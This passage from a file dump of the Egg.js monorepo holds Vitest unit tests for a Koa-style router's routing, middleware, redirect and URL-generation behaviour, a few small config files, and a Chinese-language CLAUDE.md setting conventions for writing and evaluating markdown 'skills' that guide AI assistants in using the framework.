Router();\n\n      router.use(function (ctx, next) {\n        ctx.foo = 'baz';\n        return next();\n      });\n\n      router.use(function (ctx, next) {\n        ctx.foo = 'foo';\n        return next();\n      });\n\n      router.get('/foo/bar', function (ctx) {\n        ctx.body = {\n          foobar: ctx.foo + 'bar',\n        };\n      });\n\n      app.use(router.routes());\n      const res = await request(app.callback()).get('/foo/bar').expect(200);\n      expect(res.body.foobar).toBe('foobar');\n    });\n\n    it('uses router middleware at given path', async () => {\n      const app = new Koa();\n      const router = new Router();\n\n      router.use('/foo/bar', function (ctx, next) {\n        ctx.foo = 'foo';\n        return next();\n      });\n\n      router.get('/foo/bar', function (ctx) {\n        ctx.body = {\n          foobar: ctx.foo + 'bar',\n        };\n      });\n\n      app.use(router.routes());\n      const res = await request(app.callback()).get('/foo/bar').expect(200);\n      expect(res.body.foobar).toBe('foobar');\n    });\n\n    it('runs router middleware before subrouter middleware', async () => {\n      const app = new Koa();\n      const router = new Router();\n      const subrouter = new Router();\n\n      router.use(function (ctx, next) {\n        ctx.foo = 'boo';\n        return next();\n      });\n\n      subrouter\n        .use(function (ctx, next) {\n          ctx.foo = 'foo';\n          return next();\n        })\n        .get('/bar', function (ctx) {\n          ctx.body = {\n            foobar: ctx.foo + 'bar',\n          };\n        });\n\n      router.use('/foo', subrouter.routes());\n      app.use(router.routes());\n      const res = await request(app.callback()).get('/foo/bar').expect(200);\n      expect(res.body.foobar).toBe('foobar');\n    });\n\n    it('assigns middleware to array of paths', async () => {\n      const app = new Koa();\n      const router = new Router();\n\n      router.use(['/foo', '/bar'], function (ctx, next) {\n        ctx.foo = 'foo';\n        ctx.bar = 'bar';\n        return next();\n      });\n\n      router.get('/foo', function (ctx) {\n        ctx.body = {\n          foobar: ctx.foo + 'bar',\n        };\n      });\n\n      router.get('/bar', function (ctx) {\n        ctx.body = {\n          foobar: 'foo' + ctx.bar,\n        };\n      });\n\n      app.use(router.routes());\n      let res = await request(app.callback()).get('/foo').expect(200);\n      expect(res.body.foobar).toBe('foobar');\n      res = await request(app.callback()).get('/bar').expect(200);\n      expect(res.body.foobar).toBe('foobar');\n    });\n\n    it('without path, does not set params.0 to the matched path - gh-247', async () => {\n      const app = new Koa();\n      const router = new Router();\n\n      router.use(function (_ctx, next) {\n        return next();\n      });\n\n      router.get('/foo/:id', function (ctx) {\n        ctx.body = ctx.params;\n      });\n\n      app.use(router.routes());\n      const res = await request(app.callback()).get('/foo/815').expect(200);\n      expect(res.body.id).toBe('815');\n      expect(res.body['0']).toBeUndefined();\n\n      const res2 = await request(app.callback()).get('/foo/1,2,3,4,5').expect(200);\n      expect(res2.body.id).toBe('1,2,3,4,5');\n    });\n\n    it('does not add an erroneous (.*) to unprefixed nested routers - gh-369 gh-410', async () => {\n      const app = new Koa();\n      const router = new Router();\n      const nested = new Router();\n      let called = 0;\n\n      nested\n        .get('/', (ctx, next) => {\n          ctx.body = 'root';\n          called += 1;\n          return next();\n        })\n        .get('/test', (ctx, next) => {\n          ctx.body = 'test';\n          called += 1;\n          return next();\n        });\n\n      router.use(nested.routes());\n      app.use(router.routes());\n\n      await request(app.callback()).get('/test').expect(200).expect('test');\n      expect(called).toBe(1);\n    });\n  });\n\n  describe('Router#register()', () => {\n    it('registers new routes', () => {\n      const app = new Koa();\n      const router = new Router();\n      expect(typeof router.register === 'function').toBe(true);\n      const route = router.register('/', ['GET', 'POST'], function () {});\n      expect(route).toBeDefined();\n      app.use(router.routes());\n      expect(router.stack.length).toBe(1);\n      expect(router.stack[0].path).toBe('/');\n    });\n  });\n\n  describe('Router#redirect()', () => {\n    it('registers redirect routes', () => {\n      const app = new Koa();\n      const router = new Router();\n      expect(typeof router.redirect === 'function').toBe(true);\n      router.redirect('/source', '/destination', 302);\n      app.use(router.routes());\n      expect(router.stack.length).toBe(1);\n      expect(router.stack[0].path).toBe('/source');\n    });\n\n    it('redirects using route names', async () => {\n      const app = new Koa();\n      const router = new Router();\n      app.use(router.routes());\n      router.get('home', '/', function () {});\n      router.get('sign-up-form', '/sign-up-form', function () {});\n      router.redirect('home', 'sign-up-form');\n      const res = await request(app.callback()).post('/').expect(301);\n      expect(res.headers.location).toBe('/sign-up-form');\n    });\n\n    it('registers redirect not exists routes', () => {\n      const router = new Router();\n      expect(typeof router.redirect === 'function').toBe(true);\n      expect(() => {\n        router.redirect('source-not-exists', '/destination', 302);\n      }).toThrow(/No route found for name: source-not-exists/);\n      expect(() => {\n        router.redirect('/source', 'destination-not-exists');\n      }).toThrow(/No route found for name: destination-not-exists/);\n    });\n  });\n\n  describe('Router#route()', () => {\n    it('inherits routes from nested router', () => {\n      const subrouter = new Router().get('child', '/hello', function (ctx) {\n        ctx.body = { hello: 'world' };\n      });\n      const router = new Router().use(subrouter.routes());\n      const route = router.route('child');\n      expect(route).toBeDefined();\n      expect(route && route.name).toBe('child');\n    });\n  });\n\n  describe('Router#url()', () => {\n    it('generates URL for given route name', () => {\n      const app = new Koa();\n      const router = new Router();\n      app.use(router.routes());\n      router.get('books', '/:category/:title', function (ctx) {\n        ctx.status = 204;\n      });\n      let url = router.url('books', {\n        category: 'programming',\n        title: 'how to node',\n      });\n      expect(url).toBe('/programming/how%20to%20node');\n      url = router.url('books', 'programming', 'how to node');\n      expect(url).toBe('/programming/how%20to%20node');\n\n      const err = router.url('not-exists', {\n        category: 'programming',\n        title: 'how to node',\n      }) as Error;\n      expect(err.message).toBe('No route found for name: not-exists');\n    });\n\n    it('generates URL for given route name within embedded routers', () => {\n      const app = new Koa();\n      const router = new Router({\n        prefix: '/books',\n      });\n\n      const embeddedRouter = new Router({\n        prefix: '/chapters',\n      });\n      embeddedRouter.get('chapters', '/:chapterName/:pageNumber', function (ctx) {\n        ctx.status = 204;\n      });\n      router.use(embeddedRouter.routes());\n      app.use(router.routes());\n      let url = router.url('chapters', {\n        chapterName: 'Learning ECMA6',\n        pageNumber: 123,\n      });\n      expect(url).toBe('/books/chapters/Learning%20ECMA6/123');\n      url = router.url('chapters', 'Learning ECMA6', 123);\n      expect(url).toBe('/books/chapters/Learning%20ECMA6/123');\n    });\n\n    it('generates URL for given route name within two embedded routers', () => {\n      const app = new Koa();\n      const router = new Router({\n        prefix: '/books',\n      });\n      const embeddedRouter = new Router({\n        prefix: '/chapters',\n      });\n      const embeddedRouter2 = new Router({\n        prefix: '/:chapterName/pages',\n      });\n      embeddedRouter2.get('chapters', '/:pageNumber', function (ctx) {\n        ctx.status = 204;\n      });\n      embeddedRouter.use(embeddedRouter2.routes());\n      router.use(embeddedRouter.routes());\n      app.use(router.routes());\n      const url = router.url('chapters', {\n        chapterName: 'Learning ECMA6',\n        pageNumber: 123,\n      });\n      expect(url).toBe('/books/chapters/Learning%20ECMA6/pages/123');\n    });\n\n    it('generates URL for given route name with params and query params', () => {\n      const router = new Router();\n      router.get('books', '/books/:category/:id', function (ctx) {\n        ctx.status = 204;\n      });\n      let url = router.url('books', 'programming', 4, {\n        query: { page: 3, limit: 10 },\n      });\n      expect(url).toBe('/books/programming/4?page=3&limit=10');\n      url = router.url('books', { category: 'programming', id: 4 }, { query: { page: 3, limit: 10 } });\n      expect(url).toBe('/books/programming/4?page=3&limit=10');\n      url = router.url('books', { category: 'programming', id: 4 }, { query: 'page=3&limit=10' });\n      expect(url).toBe('/books/programming/4?page=3&limit=10');\n    });\n\n    it('generates URL for given route name without params and query params', () => {\n      const router = new Router();\n      router.get('category', '/category', function (ctx) {\n        ctx.status = 204;\n      });\n      const url = router.url('category', {\n        query: { page: 3, limit: 10 },\n      });\n      expect(url).toBe('/category?page=3&limit=10');\n    });\n  });\n\n  describe('Router#param()', () => {\n    it('runs parameter middleware', async () => {\n      const app = new Koa();\n      const router = new Router();\n      app.use(router.routes());\n      router\n        .param('user', function (id, ctx, next) {\n          ctx.user = { name: 'alex' };\n          if (!id) {\n            ctx.status = 404;\n            return;\n          }\n          return next();\n        })\n        .get('/users/:user', function (ctx) {\n          ctx.body = ctx.user;\n        });\n      const res = await request(app.callback()).get('/users/3').expect(200);\n      expect(res.body.name).toBe('alex');\n    });\n\n    it('runs parameter middleware in order of URL appearance', async () => {\n      const app = new Koa();\n      const router = new Router();\n      router\n        .param('user', function (id, ctx, next) {\n          ctx.user = { name: 'alex' };\n          if (ctx.ranFirst) {\n            ctx.user.ordered = 'parameters';\n          }\n          if (!id) {\n            ctx.status = 404;\n            return;\n          }\n          return next();\n        })\n        .param('first', function (id, ctx, next) {\n          ctx.ranFirst = true;\n          if (ctx.user) {\n            ctx.ranFirst = false;\n          }\n          if (!id) {\n            ctx.status = 404;\n            return;\n          }\n          return next();\n        })\n        .get('/:first/users/:user', function (ctx) {\n          ctx.body = ctx.user;\n        });\n\n      const res = await request(app.use(router.routes()).callback()).get('/first/users/3').expect(200);\n      expect(res.body.name).toBe('alex');\n      expect(res.body.ordered).toBe('parameters');\n    });\n\n    it('runs parameter middleware in order of URL appearance even when added in random order', async () => {\n      const app = new Koa();\n      const router = new Router();\n      router\n        // intentional random order\n        .param('a', function (id, ctx, next) {\n          ctx.state.loaded = [id];\n          return next();\n        })\n        .param('d', function (id, ctx, next) {\n          ctx.state.loaded.push(id);\n          return next();\n        })\n        .param('c', function (id, ctx, next) {\n          ctx.state.loaded.push(id);\n          return next();\n        })\n        .param('b', function (id, ctx, next) {\n          ctx.state.loaded.push(id);\n          return next();\n        })\n        .get('/:a/:b/:c/:d', function (ctx) {\n          ctx.body = ctx.state.loaded;\n        });\n\n      const res = await request(app.use(router.routes()).callback()).get('/1/2/3/4').expect(200);\n      expect(res.body).toEqual(['1', '2', '3', '4']);\n    });\n\n    it('runs parent parameter middleware for subrouter', async () => {\n      const app = new Koa();\n      const router = new Router();\n      const subrouter = new Router();\n      subrouter.get('/:cid', function (ctx) {\n        ctx.body = {\n          id: ctx.params.id,\n          cid: ctx.params.cid,\n        };\n      });\n      router\n        .param('id', function (id, ctx, next) {\n          ctx.params.id = 'ran';\n          if (!id) {\n            ctx.status = 404;\n            return;\n          }\n          return next();\n        })\n        .use('/:id/children', subrouter.routes());\n\n      const res = await request(app.use(router.routes()).callback()).get('/did-not-run/children/2').expect(200);\n      expect(res.body.id).toBe('ran');\n      expect(res.body.cid).toBe('2');\n    });\n  });\n\n  describe('Router#opts', () => {\n    it('responds with 200', async () => {\n      const app = new Koa();\n      const router = new Router({\n        strict: true,\n      });\n      router.get('/info', function (ctx) {\n        ctx.body = 'hello';\n      });\n      const res = await request(app.use(router.routes()).callback()).get('/info').expect(200);\n      expect(res.text).toBe('hello');\n    });\n\n    it('should allow setting a prefix', async () => {\n      const app = new Koa();\n      const routes = new Router({ prefix: '/things/:thing_id' });\n\n      routes.get('/list', function (ctx) {\n        ctx.body = ctx.params;\n      });\n\n      const res = await request(app.use(routes.routes()).callback()).get('/things/1/list').expect(200);\n      expect(res.body.thing_id).toBe('1');\n    });\n\n    it('responds with 404 when has a trailing slash', async () => {\n      const app = new Koa();\n      const router = new Router({\n        strict: true,\n      });\n      router.get('/info', function (ctx) {\n        ctx.body = 'hello';\n      });\n      await request(app.use(router.routes()).callback()).get('/info/').expect(404);\n    });\n  });\n\n  describe('use middleware with opts', () => {\n    it('responds with 200', async () => {\n      const app = new Koa();\n      const router = new Router({\n        strict: true,\n      });\n      router.get('/info', function (ctx) {\n        ctx.body = 'hello';\n      });\n      const res = await request(app.use(router.routes()).callback()).get('/info').expect(200);\n      expect(res.text).toBe('hello');\n    });\n\n    it('responds with 404 when has a trailing slash', async () => {\n      const app = new Koa();\n      const router = new Router({\n        strict: true,\n      });\n      router.get('/info', function (ctx) {\n        ctx.body = 'hello';\n      });\n      await request(app.use(router.routes()).callback()).get('/info/').expect(404);\n    });\n  });\n\n  describe('router.routes()', () => {\n    it('should return composed middleware', async () => {\n      const app = new Koa();\n      const router = new Router();\n      let middlewareCount = 0;\n      const middlewareA = function (_ctx: any, next: Next) {\n        middlewareCount++;\n        return next();\n      };\n      const middlewareB = function (_ctx: any, next: Next) {\n        middlewareCount++;\n        return next();\n      };\n\n      router.use(middlewareA, middlewareB);\n      router.get('/users/:id', function (ctx) {\n        expect(ctx.params.id).toBeDefined();\n        ctx.body = { hello: 'world' };\n      });\n\n      const routerMiddleware = router.routes();\n      expect(typeof routerMiddleware === 'function').toBe(true);\n\n      const res = await request(app.use(routerMiddleware).callback()).get('/users/1').expect(200);\n      expect(res.body.hello).toBe('world');\n      expect(middlewareCount).toBe(2);\n    });\n\n    it('places a `_matchedRoute` value on context', async () => {\n      const app = new Koa();\n      const router = new Router();\n      const middleware = function (ctx: any, next: Next) {\n        expect(ctx._matchedRoute).toBe('/users/:id');\n        return next();\n      };\n\n      router.get('/users/:id', middleware, function (ctx) {\n        expect(ctx._matchedRoute).toBe('/users/:id');\n        expect(ctx.params.id).toBeDefined();\n        ctx.body = { hello: 'world' };\n      });\n\n      const routerMiddleware = router.routes();\n\n      await request(app.use(routerMiddleware).callback()).get('/users/1').expect(200);\n    });\n\n    it('places a `_matchedRouteName` value on the context for a named route', async () => {\n      const app = new Koa();\n      const router = new Router();\n\n      router.get('users#show', '/users/:id', function (ctx) {\n        expect(ctx._matchedRouteName).toBe('users#show');\n        ctx.status = 200;\n      });\n\n      await request(app.use(router.routes()).callback()).get('/users/1').expect(200);\n    });\n\n    it('does not place a `_matchedRouteName` value on the context for unnamed routes', async () => {\n      const app = new Koa();\n      const router = new Router();\n\n      router.get('/users/:id', function (ctx) {\n        expect(ctx._matchedRouteName).toBeUndefined();\n        ctx.status = 200;\n      });\n\n      await request(app.use(router.routes()).callback()).get('/users/1').expect(200);\n    });\n\n    it('routerName and routerPath work with next', async () => {\n      const app = new Koa();\n      const router = new Router();\n      router.get('name1', '/users/1', function (ctx, next) {\n        expect(ctx._matchedRouteName).toBe('name1');\n        expect(ctx.routerName).toBe('name1');\n        expect(ctx._matchedRoute).toBe('/users/1');\n        expect(ctx.routerPath).toBe('/users/1');\n        return next();\n      });\n      router.get('name2', '/users/:id', function (ctx) {\n        expect(ctx._matchedRouteName).toBe('name2');\n        expect(ctx.routerName).toBe('name2');\n        expect(ctx._matchedRoute).toBe('/users/:id');\n        expect(ctx.routerPath).toBe('/users/:id');\n        ctx.status = 200;\n      });\n\n      await request(app.use(router.routes()).callback()).get('/users/1').expect(200);\n    });\n  });\n\n  describe('If no HEAD method, default to GET', () => {\n    it('should default to GET', async () => {\n      const app = new Koa();\n      const router = new Router();\n      console.log(router);\n      router.get('/users/:id', function (ctx) {\n        expect(ctx.params.id).toBeDefined();\n        ctx.body = 'hello';\n      });\n      app.use(router.routes());\n      let res = await request(app.callback()).get('/users/1').expect(200);\n      expect(res.text).toBe('hello');\n      res = await request(app.callback()).head('/users/1').expect(200);\n      expect(res.text).toBeUndefined();\n    });\n  });\n\n  describe('Router#prefix', () => {\n    it('should set opts.prefix', () => {\n      const router = new Router();\n      expect(router.opts.prefix).toBeUndefined();\n      router.prefix('/things/:thing_id');\n      expect(router.opts.prefix).toBe('/things/:thing_id');\n    });\n\n    it('should prefix existing routes', () => {\n      const router = new Router();\n      router.get('/users/:id', function (ctx) {\n        ctx.body = 'test';\n      });\n      router.prefix('/things/:thing_id');\n      const route = router.stack[0];\n      expect(route.path).toBe('/things/:thing_id/users/:id');\n      expect(route.paramNames.length).toBe(2);\n      expect(route.paramNames[0].name).toBe('thing_id');\n      expect(route.paramNames[1].name).toBe('id');\n    });\n\n    describe('when used with .use(fn) - gh-247', () => {\n      it('does not set params.0 to the matched path', async () => {\n        const app = new Koa();\n        const router = new Router();\n\n        router.use(function (_ctx, next) {\n          return next();\n        });\n\n        router.get('/foo/:id', function (ctx) {\n          ctx.body = ctx.params;\n        });\n\n        router.prefix('/things');\n\n        app.use(router.routes());\n        const res = await request(app.callback()).get('/things/foo/108').expect(200);\n        expect(res.body.id).toBe('108');\n        expect(res.body['0']).toBeUndefined();\n      });\n    });\n\n    describe('with trailing slash', testPrefix('/admin/'));\n    describe('without trailing slash', testPrefix('/admin'));\n\n    function testPrefix(prefix: string) {\n      return () => {\n        let server: any;\n        let middlewareCount = 0;\n\n        beforeAll(function () {\n          const app = new Koa();\n          const router = new Router();\n\n          router.use(function (ctx, next) {\n            middlewareCount++;\n            ctx.thing = 'worked';\n            return next();\n          });\n\n          router.get('/', function (ctx) {\n            middlewareCount++;\n            ctx.body = { name: ctx.thing };\n          });\n\n          router.prefix(prefix);\n          server = app.use(router.routes()).callback();\n        });\n\n        beforeEach(() => {\n          middlewareCount = 0;\n        });\n\n        it('should support root level router middleware', async () => {\n          const res = await request(server).get(prefix).expect(200);\n          expect(middlewareCount).toBe(2);\n          expect(res.body.name).toBe('worked');\n        });\n\n        it('should support requests with a trailing path slash', async () => {\n          const res = await request(server).get('/admin/').expect(200);\n          expect(middlewareCount).toBe(2);\n          expect(res.body.name).toBe('worked');\n        });\n\n        it('should support requests without a trailing path slash', async () => {\n          const res = await request(server).get('/admin').expect(200);\n          expect(middlewareCount).toBe(2);\n          expect(res.body.name).toBe('worked');\n        });\n      };\n    }\n  });\n\n  describe('Static Router#url()', () => {\n    it('generates route URL', () => {\n      const url = Router.url('/:category/:title', {\n        category: 'programming',\n        title: 'how-to-node',\n      });\n      expect(url).toBe('/programming/how-to-node');\n    });\n\n    it('escapes using encodeURIComponent()', () => {\n      const url = Router.url('/:category/:title', {\n        category: 'programming',\n        title: 'how to node',\n      });\n      expect(url).toBe('/programming/how%20to%20node');\n    });\n\n    it('generates route URL with params and query params', () => {\n      let url = Router.url('/books/:category/:id', 'programming', 4, {\n        query: { page: 3, limit: 10 },\n      });\n      expect(url).toBe('/books/programming/4?page=3&limit=10');\n      url = Router.url('/books/:category/:id', { category: 'programming', id: 4 }, { query: { page: 3, limit: 10 } });\n      expect(url).toBe('/books/programming/4?page=3&limit=10');\n      url = Router.url('/books/:category/:id', { category: 'programming', id: 4 }, { query: 'page=3&limit=10' });\n      expect(url).toBe('/books/programming/4?page=3&limit=10');\n    });\n\n    it('generates router URL without params and with with query params', () => {\n      const url = Router.url('/category', {\n        query: { page: 3, limit: 10 },\n      });\n      expect(url).toBe('/category?page=3&limit=10');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/router/test/index.test.ts",
    "content": "import { describe, it, expect } from 'vitest';\n\nimport Router, { KoaRouter, EggRouter } from '../src/index.ts';\n\ndescribe('test/index.test.ts', () => {\n  it('should expose Router', () => {\n    expect(Router).toBeInstanceOf(Function);\n    expect(KoaRouter).toBeInstanceOf(Function);\n    // KoaRouter is alias of Router\n    expect(KoaRouter).toBe(Router);\n    expect(EggRouter).toBeInstanceOf(Function);\n  });\n});\n"
  },
  {
    "path": "packages/router/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "packages/router/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "packages/skills/CLAUDE.md",
    "content": "# Skills 编写与评测规范\n\n`packages/skills/` 目录包含 AI agent skills — 纯 markdown 文档，指导 AI 助手使用 Egg 框架。以 `@eggjs/skills` npm 包发布，仅含 `.md` 文件。\n\n> **Skill 编写基础知识**：SKILL.md 格式、frontmatter 规范、目录结构、progressive disclosure、写作风格等通用知识请使用 `/skill-creator` skill 获取指导。以下仅记录 Egg 项目特有的约定。\n\n## Egg Skills 架构\n\nSkills 采用分层路由模式：\n\n- **入口 skill** (`egg/`) — 分析用户意图，通过关键词匹配和决策逻辑路由到专业 skill\n- **专业 skills** — 提供特定领域的深度指导：\n  - `egg-core/` — 核心概念：模块、依赖注入、生命周期、AccessLevel、后台任务\n  - `egg-controller/` — 实现指导：HTTPController、MCPController、Schedule、Ajv 校验\n\n## Egg Skill Frontmatter 约定\n\n- **`name`**：入口 skill 使用 `egg`，专业 skill 以 `egg-` 为前缀（如 `egg-controller`、`egg-core`）\n- **`allowed-tools`**：统一使用 `Read`（纯文档指导型，不修改文件）\n- **`description`**：\n  - 中文：以\"本技能用于...\"开头，包含触发关键词\n  - 英文：以\"Use when...\"开头，包含触发关键词\n\n## 专业 Skill 编写规范\n\n**入口 Skill（如 `egg/`）编写要点：**\n\n对应 /skill-creator 的 **Workflow-Based** 模式。\n\n1. 决策框架包含明确步骤：识别意图 → 检查模糊意图 → 协议/用例特定指示\n2. 为每个专业 skill 列出中英文触发关键词\n3. 冲突解决规则：明确意图模糊时的优先级（如\"基础优先\"——核心概念优先于控制器实现）\n4. 示例分析：多个完整示例，格式为 用户查询 → 分析 → 决策 → 响应策略\n5. 快速参考表：用户意图 → 关键词 → 推荐 skill 映射\n6. 交叉引用话术：回答完主问题后，附\"如需了解 X，请参阅 `@eggjs/skills-xxx`\"\n\n**专业 Skill 两种组织模式：**\n\n| 模式                               | /skill-creator 对应 | 适用场景           | SKILL.md 内容           | references/ 用途   |\n| ---------------------------------- | ------------------- | ------------------ | ----------------------- | ------------------ |\n| **概念型**（如 `egg-core/`）       | Reference-Based     | 概念解释、架构理解 | 自包含的深度内容        | 更深入的专题文档   |\n| **索引型**（如 `egg-controller/`） | Workflow-Based      | 多种实现方式的选择 | 精简的决策树 + 快速参考 | 每种实现的详细指南 |\n\n**概念型 Skill 内容结构：**\n\n1. 概述（一段话说明覆盖范围）\n2. 按概念分块，每个概念包含：定义 → 使用场景 → 装饰器/API 模式 → 代码示例\n3. 重要约束（反模式、限制）\n4. 快速决策指南表（场景 → 推荐方式）\n5. 最佳实践\n6. 参考资料链接\n\n**索引型 Skill 内容结构：**\n\n1. 决策树（根据需求选择实现方式）\n2. 每种类型的快速参考（装饰器、参数、特点）\n3. 最佳实践\n4. 参考资料链接\n\n## Reference 文档编写要点\n\nReference 文档（`references/*.md`）**不需要 YAML frontmatter**，只有 `SKILL.md` 才需要。\n\n**核心原则：Skill 不是文档的重新排版，而是填补\"文档到生产代码\"之间的缝隙。**\n\nSkill 的价值 = 文档 + 实践经验 - 重复内容。如果内容和 `site/docs/` 中的文档高度重复，说明 skill 写得不对。\n\n| 内容类型            | 该放文档（site/docs/） | 该放 Skill（packages/skills/） |\n| ------------------- | ---------------------- | ------------------------------ |\n| API 签名、参数说明  | Yes                    | No（引用文档即可）             |\n| 易错点 / 常见错误   | 部分                   | **Yes（重点）**                |\n| 完整端到端模式      | No                     | **Yes**                        |\n| 跨模块集成知识      | 散落各处               | **Yes（聚合）**                |\n| 文件放置 / 命名约定 | 部分                   | **Yes**                        |\n| 场景化决策树        | No                     | **Yes**                        |\n\n**编写 Reference 文档的具体步骤：**\n\n1. **先读对应的文档**（如 `site/docs/zh-CN/basics/mcpcontroller.md`），理解已有内容\n2. **向维护者提问，收集文档未覆盖的知识**，重点关注：\n   - 导入路径、命名约定等易错点（AI 最容易犯的错）\n   - 文件应该放在哪个目录？命名规则是什么？\n   - 和其他模块（Module、Service、DI）的集成关系\n   - 哪些配置参数实际开发中需要关心，哪些用默认值即可\n   - 哪些是内部扩展机制不需要暴露给应用开发者\n3. **以常见错误表开头** — 把 AI 最容易写错的地方放在最醒目的位置（如错误的导入路径、错误的 API 用法）\n4. **文件约定** — 目录结构、命名规则、配置文件位置，这些文档里通常不会详细说明\n5. **场景化决策树** — 从用户意图出发（\"让 AI 查数据\"），而非从 API 出发（\"@MCPTool\"）\n6. **端到端完整示例** — 从配置文件到控制器到 Service 到测试，展示所有相关文件和它们的关系\n7. **精简的装饰器对照表放末尾** — 仅作为速查，不展开 API 详解\n\n## 添加新 Skill\n\n1. 在 `packages/skills/` 下创建目录：`packages/skills/<skill-name>/`\n2. 创建 `SKILL.md`（格式规范参考 `/skill-creator`，frontmatter 遵循上述 Egg 约定）\n3. 创建 `references/` 目录（初始为空时放置 `.gitkeep`）\n4. 按需在 `references/*.md` 中添加详细参考文档\n5. 更新入口 skill（`egg/SKILL.md`）的路由逻辑以包含新 skill\n6. 如果 skill 涉及 controller 类型，同时更新 `egg-controller/SKILL.md` 决策树\n\n## 添加新 Reference 文档\n\n1. 在 skill 的 `references/` 目录中创建 `.md` 文件\n2. 遵循命名规范（kebab-case，描述性命名：`http-controller.md`、`mcp-controller.md`）\n3. 包含完整的代码示例和决策树\n4. 更新父级 `SKILL.md` 引用新文档\n5. 如果 `references/` 中已有文件，移除 `.gitkeep`\n\n## Skill 评测\n\n评测用例存放在 `packages/skills/eval/` 目录下，用于验证 AI 使用 skill 后的回答质量。\n\n**评测文件结构：**\n\n```text\npackages/skills/eval/\n├── evals-egg-core.json        # egg-core skill 评测用例\n├── evals-egg-controller.json  # egg-controller skill 评测用例\n├── evals-routing.json         # 入口路由评测用例\n├── .gitignore                 # 忽略 workspace/ 和 egg-workspace/\n└── egg-workspace/             # 评测输出（gitignored），由 /skill-creator 管理\n    └── iteration-N/\n        ├── REPORT.md          # 对比评分报告\n        ├── GRADING.md         # with-skill 通过率报告\n        └── {prefix}-{id}/     # 每个用例一个目录\n            ├── eval_metadata.json\n            ├── with_skill/outputs/\n            └── without_skill/outputs/\n```\n\n**评测用例 JSON 格式：**\n\n```json\n{\n  \"skill_name\": \"egg-controller\",\n  \"description\": \"控制器评测：覆盖 http-controller、mcp-controller、schedule、ajv-validate\",\n  \"evals\": [\n    {\n      \"id\": 1,\n      \"prompt\": \"用户的任务描述\",\n      \"expected_output\": \"期望输出的关键要素描述\",\n      \"files\": [\n        { \"path\": \"相对路径\", \"content\": \"文件内容（可选，用于提供上下文或有 bug 的代码）\" }\n      ]\n    }\n  ]\n}\n```\n\n**评测流程：**\n\n使用 `/skill-creator` skill 运行评测和生成结果展示。评测流程概述：\n\n1. **编写评测用例** — 在对应的 `evals-*.json` 中添加用例\n2. **运行评测** — 通过 `/skill-creator` 为每个用例启动两个并行 subagent（with-skill 和 site-docs），使用下方 prompt 模板\n3. **评分和展示** — `/skill-creator` 负责评分、生成对比报告、启动可视化 viewer 供人工 review\n4. **改进 skill** — 根据评分结果和人工 feedback 改进 skill 内容，开启新的 iteration\n\n**评测对比的两组环境：**\n\n每个评测用例需要在两种环境下分别运行，对比 skill 是否有效。Prompt 中不应包含任何流程指引（如\"先判断使用哪个 skill\"），只提供参考资料和访问约束，让 AI 自然行动。\n\n| 环境           | system prompt                                                                         | 可访问范围（prompt 约束）  |\n| -------------- | ------------------------------------------------------------------------------------- | -------------------------- |\n| **with-skill** | `egg/SKILL.md`（入口 skill）的完整内容                                                | 仅 `packages/skills/` 目录 |\n| **site-docs**  | 角色声明 + `site/docs/` 的完整文件目录列表（通过 `find site/docs -name '*.md'` 生成） | 仅 `site/docs/` 目录       |\n\n**Prompt 模板：**\n\nwith-skill 环境：\n\n```text\n你是 EGG 框架开发专家。你只能通过 Read 工具读取 packages/skills/ 目录下的文件，不能访问 site/docs/ 或项目源码。\n\n{egg/SKILL.md 的完整内容}\n\n---\n{eval prompt}\n```\n\nsite-docs 环境：\n\n```text\n你是 EGG 框架开发专家。你只能通过 Read 工具读取 site/docs/ 目录下的文件，不能访问 packages/skills/ 或项目源码。项目文档目录如下：\n\n{完整的 site/docs/ 文件列表，通过 find site/docs -name '*.md' | sort 生成}\n\n---\n{eval prompt}\n```\n\n两组 prompt 的差异仅在于参考资料不同，不包含额外的流程提示。subagent 均具备 Read 工具权限。访问范围通过 prompt 约束（软限制，非技术硬限制）。\n\n两组使用相同的 eval prompt，对比输出质量差异。如果 with-skill 没有明显优于 site-docs，说明 skill 内容需要改进——要么缺少文档未覆盖的知识，要么存在与文档的不必要重复。\n\n**输出目录：**\n\n评测结果保存到 `egg-workspace/iteration-N/` 目录下，具体目录结构由 `/skill-creator` 管理。\n\n**评测用例设计原则：**\n\n每个 reference 文档至少覆盖 5 个以上评测用例，需覆盖以下场景类型：\n\n| 场景类型             | 说明                                    | 示例                                                     |\n| -------------------- | --------------------------------------- | -------------------------------------------------------- |\n| **泛化需求描述**     | 不了解框架术语，用口语化描述需求        | \"帮我加个参数校验\"                                       |\n| **精确需求描述**     | 明确指定技术方案和约束                  | \"用 TypeBox 定义 Schema，email 用 format: email\"         |\n| **使用咨询**         | 询问用法、区别、选型                    | \"Optional 和 Null 有什么区别\"                            |\n| **问题排查**         | 提供有 bug 的代码（附 files），要求诊断 | \"校验跑不起来，帮我看看\"                                 |\n| **新项目代码生成**   | 在全新项目中从零开始生成功能代码        | \"帮我写一个创建订单的接口，需要做参数校验\"               |\n| **存量项目代码生成** | 在包含老 egg 代码的项目中生成或迁移代码 | \"帮我把这个老的 egg controller 改成 HTTPController 写法\" |\n| **不常用 API**       | 需要查外部文档链接才能回答              | \"用 Tuple 定义元组校验\"                                  |\n"
  },
  {
    "path": "packages/skills/PLAN.md",
